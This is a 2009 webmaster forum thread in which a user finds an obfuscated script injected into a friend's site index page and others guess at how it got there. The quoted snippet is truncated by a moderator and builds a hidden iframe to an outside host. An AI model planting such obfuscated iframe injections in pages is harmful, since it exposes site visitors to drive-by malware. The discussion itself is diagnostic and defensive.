Welcome to WebmasterWorld Guest from 184.72.148.222

Forum Moderators: coopster & jatar k

Message Too Old, No Replies

I think my friend's website got hacked?

     
5:41 pm on Jul 29, 2009 (gmt 0)

New User

5+ Year Member

joined:May 1, 2009
posts:24
votes: 0


I help made a website for a friend a while ago and recently went to visit it.
File permission: 604

If so how do I prevent this? The site has no textarea or inputs.

I noticed this error when opening the website:
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';'

I then downloaded the file and found the below at the bottom of my index page.


<?php echo '<script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+" "ra"+"m"+"e>");</script>'; ?>

[edited by: jatar_k at 2:21 pm (utc) on July 30, 2009]
[edit reason] reduced malicious code [/edit]

8:29 pm on July 29, 2009 (gmt 0)

Senior Member

WebmasterWorld Senior Member 5+ Year Member

joined:May 6, 2008
posts:2011
votes: 0


Looks like you're iframing some .cn sites. Obviously I'm not going to go to them but they may try to install software upon loading, which would be a big problem since they're iframed so small that it would appear as if you were giving out viruses.
11:43 pm on July 29, 2009 (gmt 0)

New User

5+ Year Member

joined:May 1, 2009
posts:24
votes: 0


How was this possible? Looks like they got a hold of the index file and some how wrote that into it. There are no textareas or inputs on the site.
4:53 am on July 30, 2009 (gmt 0)

Senior Member

WebmasterWorld Senior Member 10+ Year Member

joined:Nov 20, 2004
posts:875
votes: 2


How was this possible?

Bugs in a script you are running and permissions that allow the server to write over the content would be my guess.

3:29 pm on July 30, 2009 (gmt 0)

Senior Member

WebmasterWorld Senior Member dreamcatcher is a WebmasterWorld Top Contributor of All Time 10+ Year Member

joined:Mar 30, 2003
posts:3719
votes: 0


Are you on a shared server? Maybe another site got hacked on the server and it affected all sites on the server.

dc

 

Join The Conversation

Moderators and Top Contributors

Hot Threads This Week

Featured Threads

Free SEO Tools

Hire Expert Members